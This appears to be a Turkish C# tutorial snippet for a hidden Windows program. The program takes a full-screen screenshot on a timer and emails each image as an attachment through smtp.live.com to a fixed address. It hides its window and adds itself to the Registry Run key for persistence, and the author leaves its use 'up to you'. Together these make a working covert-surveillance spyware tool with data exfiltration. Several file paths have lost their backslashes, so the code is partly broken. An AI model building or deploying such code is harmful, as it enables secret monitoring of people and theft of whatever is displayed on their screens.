Formda Bulunması Gerekenler;
- 1 adet Timer
- 1 adet notifyIcon
Başka bir şey yok . Basit Bir Uygulama Geliştirilip Kullanılması Size Kalmış :)
public Form1()
{
InitializeComponent();
timer1.Interval = 3000000;
timer1.Enabled = true;
notifyIcon1.Text = "Ekranın güzel.";
this.Visible = false;
}
private Bitmap Ekranim;
private Graphics grafik;
private void timer1_Tick(object sender, EventArgs e)
{
Ekranim = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
// ana ekran boyutlarında bir Bitmap nesnesi tanımladık
grafik = Graphics.FromImage(Ekranim);
grafik.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
// ekran görüntüsünü aldık.
DateTime dt = DateTime.Now;
string tarih = dt.ToShortDateString().ToString();
string saat = dt.ToShortTimeString().ToString();
tarih = tarih.Replace('.', '_');
saat = saat.Replace(':', '_');
string tarihsaat = tarih + "-" + saat;
// Resimin tarih ve saat ile tutulmasını istedik bunun için de . ve :'dan kurtuldum.
Ekranim.Save(@"C:UsersmtliveDesktop" + tarihsaat + ".Jpeg", ImageFormat.Jpeg);
// C:UsersmtliveDesktop benim dosyayı kaydettiğim dizin.
string Mesaj = "Ekranın";
string dosya = String.Format(@"C:UsersmtliveDesktop{0}.Jpeg",tarihsaat);
MailGonder("[email protected]", "Ekran görüntüsü", Mesaj,dosya);
// buradaki mail adresi ile kime gideceğini belirttik
// mail ile gönderdik. Resimler ek olarak geliyor.
}
public void MailGonder(string kime, string konu, string mesaj,string resim)
{
SmtpClient client = new SmtpClient();
MailMessage msg = new MailMessage();
// her hangi bir ihtimale karşı resim null gelirse kalmasın diye bir kontrol yaptık.
if (resim != null)
{
Attachment eklenecekdosya = new Attachment(resim);
msg.Attachments.Add(eklenecekdosya);
}
msg.From = new MailAddress("[email protected]","Goruntu");
msg.To.Add(kime);
msg.Subject = konu;
msg.IsBodyHtml = true;
msg.Body = mesaj;
msg.BodyEncoding = System.Text.Encoding.GetEncoding(1254);
client.Credentials = new NetworkCredential("[email protected]", "mail şifresi yazılacak");
// [email protected] yerine kendi mailinizi ve şifrenizi yazmanız yeterli
client.Port = 587;
client.Host = "smtp.live.com";
client.EnableSsl = true;
client.Send(msg);
}
private void Form1_Load(object sender, EventArgs e)
{
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"SoftwareMicrosoftWindowsCurrentVersionRun", true);
key.SetValue("ekranGoruntu.exe", Application.StartupPath);
// bu kod ile programın başlangıçta çalışmasını sağlıyoruz
}
private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
{
Application.Exit();
}
